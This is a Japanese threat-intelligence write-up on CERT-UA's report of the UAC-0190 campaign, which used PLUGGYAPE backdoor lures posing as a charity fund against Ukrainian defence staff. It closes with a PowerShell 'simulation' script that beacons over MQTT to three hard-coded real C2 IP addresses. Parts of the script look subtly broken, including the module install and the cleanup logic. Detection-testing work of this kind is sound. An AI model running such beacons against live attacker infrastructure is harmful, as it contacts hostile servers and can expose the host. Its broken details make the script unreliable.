「信頼性のないファンド」: ウクライナ防衛軍を対象としたUAC-0190によるサイバー攻撃とPLUGGYAPEの使用
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
CERT-UAは、ウクライナ国防軍の職員に対する標的型侵入の波を開示しました。オペレーターは慈善基金の代表を装って信頼を高め、実行を促進しました。このキャンペーンでは、PLUGGYAPEという特注のPythonベースのバックドアが展開され、武器化された「文書」ファイルを介して配布され、偽装された二重拡張子(例えば、.docx.pifや.pdf.exe)を使用して無害なコンテンツとして偽装されました。起動されると、マルウェアはMQTTまたはWebSocketチャネルを介してコマンドアンドコントロールを確立し、侵害されたドメインとIPベースのインフラを組み合わせて使用しました。CERT-UAはこの活動をVoid Blizzard (Laundry Bear) クラスターに関連付けました。
調査
分析中、対応者は複数の悪意あるアーティファクトを集め、ペイロードがOfficeに似たファイルとして提示されるPyInstallerでパッキングされたPythonバイナリであることを確認しました。ネットワークテレメトリは、攻撃者が制御するエンドポイントへのMQTTブローカーおよびWebSocketセッションを通じたビーコンを示し、一部のサーバーアドレスは、Base64文字列として組み込まれ、ペーストスタイルのホスティングサービスから取得されたものとして間接的に供給されました。オペレーターは実行時にRunレジストリエントリを作成することで持続性を維持しました。インフラストラクチャ指標は、ペーストプラットフォーム(Pastebinやrentryなど)やおとりチェーンで使用されたいくつかの慈善団体のテーマのドメインで見つかった参照によって裏付けられました。
緩和策
メッセンジャー経由で受け取った通知なしの「文書」ファイル、特に二重拡張子や実行可能ファイルとして偽装パターンを使用する添付ファイルを高リスクとして扱います。アプリケーション許可リストを実装し、可能であればPyInstallerでパッケージされたバイナリの実行を明示的に防ぎます。一般的な持続性の場所への変更を監視し、特にRunキーの変更に注意を払います。ネットワーク層では、既知の悪意あるドメインへのアウトバウンド接続をブロックまたは厳格に制御し、このキャンペーンのコマンドアンドコントロールに関連するMQTTブローカーポートへの出口を制限します。
対応
発行されたIOCをSIEM/EDRツールに取り込み、標的となった職員が使用するシステムを優先してエンドポイント全体でPLUGGYAPEアーティファクトを積極的に検索します。疑わしいホストを隔離し、スコープ設定のためにエンドポイントとネットワークの証拠を保存します。レジストリの持続性、特にRunエントリを確認し、異常なMQTT/WebSocketトラフィックパターンについてネットワークログを調べます。インシデント対応およびCERT-UAが提供する公式の連絡経路を使用して、適用法執行チャンネルを通じてエスカレーションします。
攻撃フロー
シミュレーション実行
前提条件:テレメトリおよびベースラインのプレフライトチェックが通過していること。
根拠:このセクションは検出ルールをトリガーするように設計された敵の技術(TTP)の正確な実行を詳述します。コマンドとストーリーは特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃の説明とコマンド:
- 目的: MQTTプロトコルを使用してPLUGGYAPEインフラストラクチャとC2チャネルを確立し、データを黙って報告する典型的なIoTデバイスを模倣します。
- ステップバイステップ:
- 攻撃者はPowerShellスクリプトをドロップし、
MQTTnetライブラリをロードします。 - 標準のMQTTポート(1883)上で、3つのハードコードされたIPのうち1つの悪意のあるMQTTブローカーへの接続を作成する永続的なバックグラウンドジョブを作成します。
- TCPセッションが確立されると、最小限のMQTT CONNECTパケットを送信し、その後にエンコードされたコマンドデータを含む定期的なPUBLISHを送信します。
- すべてのネットワーク活動は、通常のトラフィックと調和するために正当なサービスアカウントのコンテキストで実行されます。
- 攻撃者はPowerShellスクリプトをドロップし、
-
リグレッションテストスクリプト:
# PLUGGYAPE C2 シミュレーション – Windows上でのMQTT # MQTTnetが必要(PowerShellギャラリー経由でインストール) # --------------------------------------------------------- # 1. 不足している場合はMQTTnetをインストール if (-not (Get-Module -ListAvailable -Name MQTTnet)) { Install-Module -Name MQTTnet -Scope CurrentUser -Force } # 2. 悪意のあるC2エンドポイントを定義 $c2IPs = @('193.23.216.39','108.165.164.155','176.9.23.216') $c2Port = 1883 # 3. リアリティのある選択をシミュレートするために1つのC2サーバーをランダムに選択 $targetIP = $c2IPs | Get-Random # 4. MQTTクライアントを構築 $factory = New-Object MQTTnet.MqttFactory $client = $factory.CreateMqttClient() $options = [MQTTnet.Client.MqttClientOptionsBuilder]::new() .WithTcpServer($targetIP, $c2Port) .WithClientId(([guid]::NewGuid()).Guid) .Build() # 5. 接続し、バックグラウンドジョブで公開を開始 $scriptBlock = { param($client,$options) try { $client.ConnectAsync($options).GetAwaiter().GetResult() Write-Host "PLUGGYAPE C2に接続しました: $($options.ChannelOptions.Server)`n" # 30秒ごとにシンプルな維持用のpublishを送信します while ($true) { $msg = [MQTTnet.MqttApplicationMessageBuilder]::new() .WithTopic('data/heartbeat') .WithPayload('alive') .WithExactlyOnceQoS() .Build() $client.PublishAsync($msg).GetAwaiter().GetResult() Start-Sleep -Seconds 30 } } catch { Write-Error "C2接続失敗: $_" } finally { $client.DisconnectAsync() | Out-Null } } # ジョブを起動(バックグラウンドで実行) $job = Start-Job -ScriptBlock $scriptBlock -ArgumentList $client,$options Write-Host "PLUGGYAPE C2シミュレーションのジョブが開始されました (JobId=$($job.Id))。" -
クリーンアップコマンド:
# バックグラウンドジョブを停止し、MQTTクライアントの切断を確認 Get-Job | Where-Object {$_.State -eq 'Running'} | Stop-Job -Force Get-Job | Where-Object {$_.State -eq 'Running'} | Remove-Job -Force Write-Host "PLUGGYAPE C2シミュレーションが停止し、クリーンアップが完了しました。"